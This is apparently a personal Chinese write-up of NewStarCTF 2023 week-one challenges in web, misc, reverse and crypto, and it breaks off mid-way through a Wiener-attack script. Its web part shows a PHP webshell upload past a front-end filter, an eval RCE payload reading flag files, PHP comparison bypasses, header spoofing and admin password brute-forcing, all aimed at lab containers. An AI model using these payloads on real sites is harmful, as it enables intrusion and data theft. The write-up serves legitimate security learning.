NewStarCTF 2023-WEEK1 WriteUp

好久没碰ctf了,感觉手有点生,正好最近newstar新生赛,过来凑个热闹。

Web

解题 7/7

泄漏的秘密

介绍里面写了“粗心的网站管理员总会泄漏一些敏感信息在Web根目录下”,一眼信息泄露

打开容器,出现粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!,/robots.txt一试直接爆出flag的前半段,/www.zip直接把源码泄露了。

拿到flag:flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

Begin of Upload

一眼文件上传,写一个php马试一下

1
<?php system($_GET['cmd']);

发现文件后缀有白名单,但是验证是在前端,直接burp抓包改一下文件名就能绕

Begin of HTTP

打开容器,发现要求请使用 GET方式 来给 ctf 参数传入任意值来通过这关

加个参数试一下http://node4.buuoj.cn:25055/?ctf=1

发现很棒,如果我还想让你以POST方式来给我传递 secret 参数你又该如何处理呢? 如果你传入的参数值并不是我想要的secret,我也不会放你过关的 或许你可以找一找我把secret藏在了哪里

ctrl+U看下源码,发现注释<!-- Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk) -->

base64解码一下,得到secret是n3wst4rCTF2023g00000d

HackBar插件传一下POST参数

接下来发现很强,现在我需要验证你的 power 是否是 ctfer ,只有ctfer可以通过这关

Cookie改一下power改为ctfer

发现你已经完成了本题过半的关卡,现在请使用 NewStarCTF2023浏览器 来通过这关!

把User-Agent改为NewStarCTF2023

发现希望你是从 newstarctf.com 访问到这个关卡的

加个Referer: newstarctf.com

最后发现最后一关了!只有 本地用户 可以通过这一关

加一个Header:X-Real-IP: 127.0.0.1,本来以为这道题是要加X-Forwarded-For,结果加X-Forwarded-For发现好像不太行

拿到flag:flag{221fb558-9c0a-4b07-bac6-3af03cf7393e}

ErrorFlask

这道题有点奇怪,看到flask以为是SSTI,结果打开容器随便传个number1={{}},发现DEBUG模式没关,结果flag直接写到源代码里直接能看见,直接拿到flag:flag{Y0u_@re_3enset1ve_4bout_deb8g}

Begin of PHP

上来容器直接给出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

先看level1,要保证$_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])为 True,发现md5直接的判断是==而不是===,直接0e碰撞即可,随便找两个240610708QLTHNDT就行。

再看level2,保证md5($_POST['key3']) === sha1($_POST['key3']为 True,中间是===,没办法再用level1的0e碰撞了,这里一个小技巧直接POST传key3[]=即可,这里key3直接被识别成数组了,导致两个函数都返回false。

接下来level3,保证strcmp($_GET['key4'],file_get_contents("/flag")) == 0为 True,继续用key4[]=,用数组的方式让其返回false

然后level4,保证!is_numeric($_GET['key5']) && $_GET['key5'] > 2023为 True,传key5=2024a,当它与2023比较时就会比它大,而且还识别不出它是数字。

最后level5,要保证它不能全是字母和数字,还要保证flag5变量是True,POST传flag5=-即可。

拿到flag:flag{35c5a11f-c06d-4178-9fb8-b4f97d3e9796}

R!C!E!

打开容器,贴上代码

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}

要保证password的md5前6位是c4d038,同时code中不能含有一些敏感的单词。

这里贴上我跑MD5的脚本,写的不好,但是勉强能跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import hashlib
import itertools
import string
import threading

# 需要遍历的字符集
characters = string.digits + string.ascii_letters

def generate_combinations(length):
for combo in itertools.product(characters, repeat=length):
yield ''.join(combo)

def calculate_md5(string):
md5_hash = hashlib.md5() # 创建MD5对象
md5_hash.update(string.encode()) # 更新对象哈希值
md5_digest = md5_hash.hexdigest() # 获取哈希值的十六进制表示
return md5_digest

def find_md5_match(prefix):
for combo in generate_combinations(len(prefix)):
string = prefix + combo
md5 = calculate_md5(string)
if md5[0:6] == 'c4d038':
print(f"{string} MD5哈希值: {md5}")

# 测试计算MD5
input_string = "0"

threads = []
for i in range(6): # 根据实际情况设置线程数量
prefix = input_string * i
thread = threading.Thread(target=find_md5_match, args=(prefix,))
threads.append(thread)
thread.start()

for thread in threads:
thread.join()

print(f"{input_string}dddMD5哈希值: {md5}")

随便跑出来一个0000006sNj

接着直接传

1
e[v.a.l=echo `cat /f*`

这里注意要用[代替_,这算是一个php特性。

EasyLogin

打开容器,看到一个登录注册页面,拿burp抓包,最开始以为是sql注入,但是注入发现提示不是注入。

随便注册一个账号admin1,登录后发现是一个静态的shell,javascript代码审计一下,发现

1
"echo -en '\\nnewstar\\nnewstar2023' >> weak-passwd.txt && \\\nexport PASSWORD=`shuf weak-passwd.txt | head -n 1` && \\\nrm -rf weak-passwd.txt"),applyAutoComplete(le),await sleep(800),term.writeln(WELCOME_TEXT),readInput(),le.detach(),await sleep(200),le.attach(),le.pushInput("chat"),le.confirm(),await sleep(200),le.pushInput("你会说中文吗?")

提示weak-passwd.txt弱口令,再加上注册时发现admin用户已经被注册,使用burp直接爆破密码。

发现admin弱口令是000000

登录,并拦截返回包,javascript审计,发现提示

1
"echo Maybe you need BurpSuite."

清除cookie重新登录,拦截passport的返回包,得到flag:flag{97222ac1-f6d3-49c1-b1e6-05778420cfe2}

Misc

解题 5/6

CyberChef’s Secret

签到题,打开后看到M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=,进入cyberchef.org,一把梭,拿到flag:flag{Base_15_S0_Easy_^_^}

机密图片

zsteg工具

执行zsteg secret.png得到

1
2
3
4
5
6
b1,r,lsb,xy         .. text: ":=z^rzwPQb"
b1,g,lsb,xy .. file: OpenPGP Public Key
b1,b,lsb,xy .. file: OpenPGP Secret Key
b1,rgb,lsb,xy .. text: "flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}"
b3,b,lsb,xy .. file: very old 16-bit-int big-endian archive
b4,bgr,msb,xy .. file: MPEG ADTS, layer I, v2, 112 kbps, 24 kHz, JntStereo

拿到flag:flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}

流量!鲨鱼!

wireshark打开发现流量1.php%3fcmd=ls%20-al%20内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
total 80
drwxr-xr-x 1 root root 4096 Aug 19 06:17 .
drwxr-xr-x 1 root root 4096 Aug 19 06:17 ..
-rwxr-xr-x 1 root root 0 Aug 19 06:08 .dockerenv
-rw-r--r-- 1 root root 39 Aug 19 06:17 .ffffllllllll11111144444GGGGGG
drwxr-xr-x 1 root root 4096 Dec 21 2021 bin
drwxr-xr-x 2 root root 4096 Dec 11 2021 boot
drwxr-xr-x 5 root root 360 Aug 19 06:08 dev
drwxr-xr-x 1 root root 4096 Aug 19 06:08 etc
drwxr-xr-x 2 root root 4096 Dec 11 2021 home
drwxr-xr-x 1 root root 4096 Dec 21 2021 lib
drwxr-xr-x 2 root root 4096 Dec 20 2021 lib64
drwxr-xr-x 2 root root 4096 Dec 20 2021 media
drwxr-xr-x 2 root root 4096 Dec 20 2021 mnt
drwxr-xr-x 2 root root 4096 Dec 20 2021 opt
dr-xr-xr-x 248 root root 0 Aug 19 06:08 proc
drwx------ 1 root root 4096 Aug 19 06:17 root
drwxr-xr-x 1 root root 4096 Dec 21 2021 run
drwxr-xr-x 1 root root 4096 Dec 21 2021 sbin
drwxr-xr-x 2 root root 4096 Dec 20 2021 srv
dr-xr-xr-x 13 root root 0 Aug 19 06:08 sys
drwxrwxrwt 1 root root 4096 Dec 21 2021 tmp
drwxr-xr-x 1 root root 4096 Dec 20 2021 usr
drwxr-xr-x 1 root root 4096 Dec 21 2021 var

发现啊flag名字.ffffllllllll11111144444GGGGGG

启动过滤器frame contains ffffllllllll11111144444GGGGGG,追踪HTTP流,看到flag的两次base64编码:Wm14aFozdFhjbWt6TldnMGNtdGZNWE5mZFRVelpuVnNYMkkzTW1FMk1EazFNemRsTm4wSwo=,base64解密两次得到:flag{Wri35h4rk_1s_u53ful_b72a609537e6}

压缩包们

下载后发现打不开

使用binwalk,binwalk -e task_1 ,得到一个压缩包,bandizip打开发现base64编码的注释SSBsaWtlIHNpeC1kaWdpdCBudW1iZXJzIGJlY2F1c2UgdGhleSBhcmUgdmVyeSBjb25jaXNlIGFuZCBlYXN5IHRvIHJlbWVtYmVyLg==,base64解密后得到I like six-digit numbers because they are very concise and easy to remember.,拿爆破工具直接爆破密码,得到232311,拿到flag:flag{y0u_ar3_the_m4ter_of_z1111ppp_606a4adc}

空白格

下载后发现都是空格、Tab和换行,联想到WhiteSpace语言,在网上随便找一个WhiteSpace在线运行环境whitespace在线运行,在线工具,在线编译IDE_w3cschool,运行得到flag:flag{w3_h4v3_to0_m4ny_wh1t3_sp4ce_2a5b4e04}

Reverse

解题 7/8

easy_RE

下载程序,拖到ida里面打开,能看见flag的前半部分flag{we1c0m

F5反编译,看到后半部分e_to_rev3rse!!},得到完整flag:flag{we1c0me_to_rev3rse!!}

Upx脱壳upx -d KE.exe

反编译代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int64 i; // r10
char *v4; // kr00_8
char Str1[96]; // [rsp+20h] [rbp-88h] BYREF
int v7; // [rsp+80h] [rbp-28h]

_main();
memset(Str1, 0, sizeof(Str1));
v7 = 0;
Hello();
scanf("%s", Str1);
for ( i = 0i64; ; ++i )
{
v4 = &Str1[strlen(Str1)];
if ( i >= v4 - Str1 )
break;
++Str1[i];
}
if ( !strncmp(Str1, enc, v4 - Str1) )
puts("WOW!!");
else
puts("I believe you can do it!");
system("pause");
return 0;
}

其中enc是gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~

写一个python脚本解密

1
2
3
a='gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~'
for i in a:
print(chr(ord(i)-1),end='')

得到flag:flag{C0ngratu1at10ns0nPa221ngTheF1rstPZGALAXY1eve1}

Segments

下载附件,拖到ida里,提示shift+F7,直接按,发现段名字中藏着flag

flag{You_ar3_g0od_at_f1nding_ELF_segments_name}

ELF

反编译,得到c代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // edx
char *s1; // [rsp+0h] [rbp-20h]
char *v6; // [rsp+8h] [rbp-18h]
char *s; // [rsp+10h] [rbp-10h]

s = (char *)malloc(0x64uLL);
printf("Input flag: ");
fgets(s, 100, stdin);
s[strcspn(s, "\n")] = 0;
v6 = (char *)encode(s);
v3 = strlen(v6);
s1 = (char *)base64_encode(v6, v3);
if ( !strcmp(s1, "VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t") )
puts("Correct");
else
puts("Wrong");
free(v6);
free(s1);
free(s);
return 0;
}

发现base64,对字符串进行解密

得到V\QWkt $_e'^_ggXQ'u|v!c/m

分析encode函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
_BYTE *__fastcall encode(const char *a1)
{
size_t v1; // rax
int v2; // eax
_BYTE *v4; // [rsp+20h] [rbp-20h]
int i; // [rsp+28h] [rbp-18h]
int v6; // [rsp+2Ch] [rbp-14h]

v1 = strlen(a1);
v4 = malloc(2 * v1 + 1);
v6 = 0;
for ( i = 0; i < strlen(a1); ++i )
{
v2 = v6++;
v4[v2] = (a1[i] ^ 0x20) + 16;
}
v4[v6] = 0;
return v4;
}

写出python解密脚本

1
2
3
4
5
a='V\QWkt $_e\'^_ggXQ\'u|v!c/m'
b=''
for i in a:
b+=chr((ord(i)-16)^0x20)
print(b)

得到flag:flag{D04ou7nowwha7ELF1s?}

Endian

反编译,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+4h] [rbp-3Ch]
char *v5; // [rsp+8h] [rbp-38h]
char v6[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-8h]

v7 = __readfsqword(0x28u);
puts("please input your flag");
__isoc99_scanf("%s", v6);
v5 = v6;
for ( i = 0; i <= 4; ++i )
{
if ( *(_DWORD *)v5 != (array[i] ^ 0x12345678) )
{
printf("wrong!");
exit(0);
}
v5 += 4;
}
printf("you are right");
return 0;
}

其中array为dd 75553A1Eh, 7B583A03h, 4D58220Ch, 7B50383Dh, 736B3819h, 0,shift+e提取数组元素,写出python脚本

1
2
3
4
5
6
7
8
9
10
11
12
arrr=[ 1968519710, 2069379587, 1297621516, 2068854845, 1936406553, 0 ]
for i in arrr:
h=((i^0x12345678))
value = h

nums = []
while value > 0:
nums.append(hex(value & 0xFF)) # 取出低位部分,并转换为16进制字符串
value >>= 8 # 右移8位,获取下一个位置的部分
nums_str = [chr(int(num,16)) for num in nums]
result_str = ''.join(nums_str)
print(result_str,end='')

执行拿到flag:flag{llittl_Endian_axV4

修改一下得到最后flag:flag{llittl_Endian_a}

AndroXor

Android killer打开,java反编译,入口处com.chick.androxor.MainActivity得到关键函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public String Xor(String paramString1, String paramString2)
{
char[] arrayOfChar = new char[paramString1.length()];
int i = paramString1.length();
String str1 = "wrong!!!";
String str2;
if (i != 25) {
str2 = "wrong!!!";
} else {
str2 = "you win!!!";
}
for (i = 0; i < paramString1.length(); i++)
{
int j = (char)(paramString1.charAt(i) ^ paramString2.charAt(i % paramString2.length()));
arrayOfChar[i] = ((char)j);
if (new char[] { 14, 13, 17, 23, 2, 75, 73, 55, 32, 30, 20, 73, 10, 2, 12, 62, 40, 64, 11, 39, 75, 89, 25, 65, 13 }[i] != j)
{
str2 = str1;
break;
}
}
return str2;
}

在com.chick.androxor.MainActivity$1类中得到key为happyx3

1
2
3
4
5
6
7
public void onClick(View paramView)
{
String str = this.val$password.getText().toString();
paramView = this.this$0;
Toast.makeText(paramView, paramView.Xor(str, "happyx3"), 1).show();
Log.d("输入", this.val$password.getText().toString());
}

编写python脚本

1
2
3
4
5
6
7
8
key = "happyx3"
cipher = [14, 13, 17, 23, 2, 75, 73, 55, 32, 30, 20, 73, 10, 2, 12, 62, 40, 64, 11, 39, 75, 89, 25, 65, 13]

result = ""
for i in range(len(cipher)):
result += chr(cipher[i] ^ ord(key[i % len(key)]))

print(result)

得到flag:flag{3z_And0r1d_X0r_x1x1}

lazy_activtiy

安装apk后打开发现要求我们打开另一个Activity来获得flag

查看apk配置文件AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.droidlearn.activity_travel" platformBuildVersionCode="32" platformBuildVersionName="12">
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Activity_Travel">
<activity android:exported="false" android:name="com.droidlearn.activity_travel.FlagActivity"/>
<activity android:exported="true" android:name="com.droidlearn.activity_travel.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
</manifest>

将入口处改为FlagActivity,并且把FlagActivity的exported改为true

改后xml文件如下

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.droidlearn.activity_travel" platformBuildVersionCode="32" platformBuildVersionName="12">
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Activity_Travel">
<activity android:exported="true" android:name="com.droidlearn.activity_travel.FlagActivity"/>
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<activity android:exported="true" android:name="com.droidlearn.activity_travel.MainActivity">

</activity>
</application>
</manifest>

重新编译后打开,发现要求点击按钮10000次才能获得flag。

分析smali语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
.class Lcom/droidlearn/activity_travel/FlagActivity$1;
.super Ljava/lang/Object;
.source "FlagActivity.java"

# interfaces
.implements Landroid/view/View$OnClickListener;


# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
value = Lcom/droidlearn/activity_travel/FlagActivity;->onCreate(Landroid/os/Bundle;)V
.end annotation

.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation


# instance fields
.field final synthetic this$0:Lcom/droidlearn/activity_travel/FlagActivity;

.field final synthetic val$str:Landroid/widget/EditText;

.field final synthetic val$tv_cnt:Landroid/widget/TextView;


# direct methods
.method constructor <init>(Lcom/droidlearn/activity_travel/FlagActivity;Landroid/widget/TextView;Landroid/widget/EditText;)V
.locals 0

.line 20
iput-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->this$0:Lcom/droidlearn/activity_travel/FlagActivity;

iput-object p2, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->val$tv_cnt:Landroid/widget/TextView;

iput-object p3, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->val$str:Landroid/widget/EditText;

invoke-direct {p0}, Ljava/lang/Object;-><init>()V

return-void
.end method


# virtual methods
.method public onClick(Landroid/view/View;)V
.locals 2

.line 23
iget-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->val$tv_cnt:Landroid/widget/TextView;

iget-object v0, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->this$0:Lcom/droidlearn/activity_travel/FlagActivity;

invoke-static {v0}, Lcom/droidlearn/activity_travel/FlagActivity;->access$004(Lcom/droidlearn/activity_travel/FlagActivity;)I

move-result v0

invoke-static {v0}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;

move-result-object v0

invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

.line 24
iget-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->this$0:Lcom/droidlearn/activity_travel/FlagActivity;

invoke-static {p1}, Lcom/droidlearn/activity_travel/FlagActivity;->access$000(Lcom/droidlearn/activity_travel/FlagActivity;)I

move-result p1

const/16 v0, 0x2710

if-lt p1, v0, :cond_0

.line 25
iget-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->this$0:Lcom/droidlearn/activity_travel/FlagActivity;

iget-object v0, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->val$str:Landroid/widget/EditText;

invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;

move-result-object v0

invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;

move-result-object v0

const/4 v1, 0x0

invoke-static {p1, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;

move-result-object p1

invoke-virtual {p1}, Landroid/widget/Toast;->show()V

:cond_0
return-void
.end method

发现其中的const/16 v0, 0x2710,其存储为点击次数,将其改为0x1,重新编译安装,打开后点击按钮直接得到flag

flag{Act1v1ty_!s_so00oo0o_lmpor#an#}

Crypto

解题 10/10

brainfuck

下载附件,得到

1
++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<<-.>>++..<.>.++++++.....------.<.>.<<<<<+++.>>>>+.<<<+++++++.>>>+.<<<-------.>>>-.<<<+.+++++++.--..>>>>---.-.<<<<-.+++.>>>>.<<<<-------.+.>>>>>++.

Brainfuck/OoK加密解密 - Bugku CTF,解密一下,得到flag:flag{Oiiaioooooiai#b7c0b1866fe58e12}

Caesar’s Secert

打开附件,得到kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed}

凯撒枚举凯撒(Caesar)加密/解密 - Bugku CTF,得到flag:flag{ca3s4r's_c1pher_i5_v4ry_3azy}

Fence

附件内容:fa{ereigtepanet6680}lgrodrn_h_litx#8fc3

栅栏加密栅栏加密/解密 - Bugku CTF,枚举解密,得到flag:flag{reordering_the_plaintext#686f8c03}

Vigenère

附件:pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0}

维吉尼亚解密维吉尼亚加密/解密 - Bugku CTF,密钥用flag前4个字母尝试一下得到:KFC

得到flag:flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0}

babyrsa

打开附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
from flag import flag

def gen_prime(n):
res = 1

for i in range(15):
res *= getPrime(n)

return res


if __name__ == '__main__':
n = gen_prime(32)
e = 65537
m = bytes_to_long(flag)
c = pow(m,e,n)
print(n)
print(c)
# 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
# 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

使用大整数分解网站factordb.com,将其分解为多个质数之积

1
1729006607...61<143> = 2217990919<10> · 2338725373<10> · 2370292207<10> · 2463878387<10> · 2706073949<10> · 2794985117<10> · 2804303069<10> · 2923072267<10> · 2970591037<10> · 3207148519<10> · 3654864131<10> · 3831680819<10> · 3939901243<10> · 4093178561<10> · 4278428893<10>

解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import inverse

n = 2217990919 * 2338725373 * 2370292207 * 2463878387 * 2706073949 * 2794985117 * 2804303069 * 2923072267 * 2970591037 * 3207148519 * 3654864131 * 3831680819 * 3939901243 * 4093178561 * 4278428893
e = 65537
c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

# 尝试分解 n
factors = [2217990919, 2338725373, 2370292207, 2463878387, 2706073949, 2794985117, 2804303069, 2923072267, 2970591037, 3207148519, 3654864131, 3831680819, 3939901243, 4093178561, 4278428893]

# 计算 phi(n)
phi_n = 1
for factor in factors:
phi_n *= (factor - 1)

# 计算私钥 d
d = inverse(e, phi_n)

# 解密密文得到明文
m = pow(c, d, n)

# 将明文转换为字节形式
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big')
print(flag)

Small d

打开附件py代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from secret import flag
from Crypto.Util.number import *

p = getPrime(1024)
q = getPrime(1024)

d = getPrime(32)
e = inverse(d, (p-1)*(q-1))
n = p*q
m = bytes_to_long(flag)

c = pow(m,e,n)

print(c)
print(e)
print(n)

# c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
# e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
# n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433

看到d数值比较小,使用低解密指数攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
import gmpy2
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes

def rational_to_contfrac(x,y):
'''
Converts a rational x/y fraction into
a list of partial quotients [a0, ..., an]
'''
a = x//y
pquotients = [a]
while a * y != x:
x,y = y,x-a*y
a = x//y
pquotients.append(a)
return pquotients

def convergents_from_contfrac(frac):
'''
computes the list of convergents
using the list of partial quotients
'''
convs = [];
for i in range(len(frac)):
convs.append(contfrac_to_rational(frac[0:i]))
return convs

def contfrac_to_rational (frac):
'''Converts a finite continued fraction [a0, ..., an]
to an x/y rational.
'''
if len(frac) == 0:
return (0,1)
num = frac[-1]
denom = 1
for _ in range(-2,-len(frac)-1,-1):
num, denom = frac[_]*num+denom, num
return (num,denom)

def egcd(a,b):
'''
Extended Euclidean Algorithm
returns x, y, gcd(a,b) such that ax + by = gcd(a,b)
'''
u, u1 = 1, 0
v, v1 = 0, 1
while b:
q = a // b
u, u1 = u1, u - q * u1
v, v1 = v1, v - q * v1
a, b = b, a - q * b
return u, v, a

def gcd(a,b):
'''
2.8 times faster than egcd(a,b)[2]
'''
a,b=(b,a) if a<b else (a,b)
while b:
a,b=b,a%b
return a

def modInverse(e,n):
'''
d such that de = 1 (mod n)
e must be coprime to n
this is assumed to be true
'''
return egcd(e,n)[0]%n

def totient(p,q):
'''
Calculates the totient of pq
'''
return (p-1)*(q-1)

def bitlength(x):
'''
Calculates the bitlength of x
'''
assert x >= 0
n = 0
while x > 0:
n = n+1
x = x>>1
return n

def isqrt(n):
'''
Calculates the integer square root
for arbitrary large nonnegative integers
'''
if n < 0:
raise ValueError('square root not defined for negative numbers')

if n == 0:
return 0
a, b = divmod(bitlength(n), 2)
x = 2**(a+b)
while True:
y = (x + n//x)//2
if y >= x:
return x
x = y

def is_perfect_square(n):
'''
If n is a perfect square it returns sqrt(n),

otherwise returns -1
'''
h = n & 0xF; #last hexadecimal "digit"

if h > 9:
return -1 # return immediately in 6 cases out of 16.

# Take advantage of Boolean short-circuit evaluation
if ( h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ):
# take square root if you must
t = isqrt(n)
if t*t == n:
return t
else:
return -1

return -1

def wiener_hack(e, n):
frac = rational_to_contfrac(e, n)
convergents = convergents_from_contfrac(frac)
for (k, d) in convergents:
if k != 0 and (e * d - 1) % k == 0:
phi = (e * d - 1) // k
s = n - phi + 1
discr = s * s - 4 * n
if (discr >= 0):
t = is_perfect_square(discr)
if t != -1 and (s + t) % 2 == 0:
print("Hacked!")
return d
return False
def main():
